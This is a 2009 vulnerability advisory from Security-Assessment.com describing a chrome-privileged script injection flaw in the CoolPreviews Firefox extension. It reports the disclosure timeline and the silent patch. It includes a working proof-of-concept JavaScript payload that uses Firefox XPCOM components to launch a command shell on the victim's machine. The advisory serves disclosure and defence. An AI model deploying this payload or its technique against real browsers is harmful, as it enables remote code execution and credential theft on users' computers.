



Vulnerability Advisory

Name	CoolPreviews (Mozilla Firefox Extension) – Chrome Privileged Code Injection
Date Released	August 25, 2009
Affected Software	CoolPreviews 2.7.2, 2.7 and potentially also previous versions
Researcher	Roberto Suggi Liverani – roberto.suggi@security-assessment.com

Description

Security-Assessment.com discovered that the CoolPreviews stack feature is vulnerable to Cross-Site Scripting injection. The CoolPreviews stack previews link content within a chrome window positioned on the right side of the browser window. A malicious page is then able to pass arbitrary browser code, such as JavaScript, via a link that points to a data URI which embeds the Cross-Site scripting payload. The injected browser code is rendered and executed in the chrome privileged Firefox zone.

The code is automatically executed when the user adds the malicious link to the stack (by default, right click and then Cool Previews – Add To Stack).

The following table shows an example of malicious link:

Malicious Link With Data URI
<code>Example link to add to stack</code>

This vulnerability has been patched. See the Solution section of this document for more information.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the chrome privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Mozilla built-in XPCOM components. XPCOM components can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify other Firefox extensions.

Included below is an example exploit which is base64 encoded and included in the malicious link above. This exploit demonstrates remote code execution by executing **win.com** with a parameter of **cmd.exe**. This will spawn a command shell on the victim's desktop.

Example Remote Code Execution Exploit
<pre><script> var IFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); var IPath = "C:\\WINDOWS\\system32\\win.com"; IFile.initWithPath(IPath); var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); process.init(IFile); process.run(false,['C:\\WINDOWS\\system32\\cmd.exe'],1);</script></pre>

For more details regarding exploitation of this vulnerability, refer to our DEFCON 17 presentation at http://www.security-assessment.com/files/presentations/liverani_freeman_abusing_firefox_extensions_defcon17.pdf.



security-assessment.com

Solution

Security-Assessment.com follows responsible disclosure and promptly contacted the developer after discovering the issue. The developer was contacted on March 5, 2009, and no response was received. A fix was silently released on April 20, 2009.

Install the latest CoolPreviews version. This is available from Mozilla Add-ons website (<https://addons.mozilla.org/en-US/firefox/addon/2207>).

Credit

Discovered and advised to the CoolPreviews vendor March 2009 by Roberto Suggi Liverani of Security-Assessment.com. Personal Page: <http://malerisch.net/>

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 9 302 5093